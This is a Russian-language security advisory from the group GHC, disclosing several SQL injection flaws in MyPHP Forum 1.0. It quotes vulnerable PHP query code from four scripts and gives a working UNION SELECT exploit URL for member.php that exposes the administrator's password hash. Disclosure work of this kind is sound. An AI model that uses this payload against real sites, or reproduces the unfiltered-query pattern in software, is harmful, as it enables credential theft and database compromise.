/*==========================================*/ // GHC -> MyPHP Forum <- ADVISORY // Продукт: MyPHP Forum // Версия: 1.0 // URL: http://www.myphp.ws // Класс уязвимости: SQL инъекция /*==========================================*/ [Описание] MyPHP Forum простой скрипт форума, написанный на PHP с использованием баз данных MySQL. Несколько уязвимостей типа SQL инъекции позволяют получить важную информацию и выполнить произвольный sql запрос. [1] уязвимый скрипт: forum.php код: -------------------------------------------------------------------------------- $query = mysql_query("SELECT fid, name FROM $db_forum WHERE fid=$fid") or die(mysql_error()); $nav = mysql_fetch_array($query); -------------------------------------------------------------------------------- Переменная $fid не фильтруется. Вследствие этого возможна инъекции SQL кода в указанном сценарии. [2] уязвимый скрипт: member.php код: -------------------------------------------------------------------------------- if($action == "viewpro") { $member = $HTTP_GET_VARS[member]; $sql = "SELECT * FROM $db_member WHERE username=$member"; $query = mysql_query("SELECT * FROM $db_member WHERE username=$member") or die("cant execute $sql"); $member = mysql_fetch_array($query); -------------------------------------------------------------------------------- Не фильтруется переменная $member. Возможна инъекция произвольного SQL кода. member.php?action=viewpro&member=[SQL code] [Пример эксплоита] member.php?action=viewpro&member=nonexistuser'%20UNION%20SELECT%20uid,%20username,%20password,%20status,%20email,%20website,%20aim,%20msn,%20location,%20sig,%20regdate,%20posts,%20password%20as%20yahoo%20FROM%20nb_member%20WHERE%20uid='1 В результате данного запроса будет отображен хеш пароля администратора (в поле "Yahoo"). Пароль шифруется функцией encrypt(): код: -------------------------------------------------------------------------------- function encrypt($string) { $crypted = crypt(md5($string), md5($string)); return $crypted; } -------------------------------------------------------------------------------- [3] уязвимый скрипт: forgot.php код: -------------------------------------------------------------------------------- $email = $_REQUEST; if (isset($email)) { $sql="SELECT * FROM $db_member WHERE email=$email"; ... $result = mysql_query("SELECT username FROM $db_member WHERE email=$email"); $username = mysql_result($result, 0); $msg = " Hello $username, -------------------------------------------------------------------------------- Не фильтруется переменная $email, через которую возможно внедрение произвольного SQL запроса. [4] уязвимый скрипт: include.php Этот скрипт включается для аутентификации во все важные сценарии. Переменные $nbuser & $nbpass не фильтруются. код: -------------------------------------------------------------------------------- $query = mysql_query("SELECT * FROM $db_member WHERE username=$nbuser") -------------------------------------------------------------------------------- Через перменную $nbuser возможна инъекция SQL запроса. P.S. все указанные уязвимости действительны при magic_quotes_gpc=0. P.P.S. некоторые скрипты myPHP v.2.0b так же подвержены уязвимостям. /* ================================================== */ /* www.ghc.ru -- security games & challenges */ /* ================================================== */ /* greets to: RST.void.ru, D0G4 & all quest hunters %)*/ /* ================================================== */ Найдено ghc.ru by foster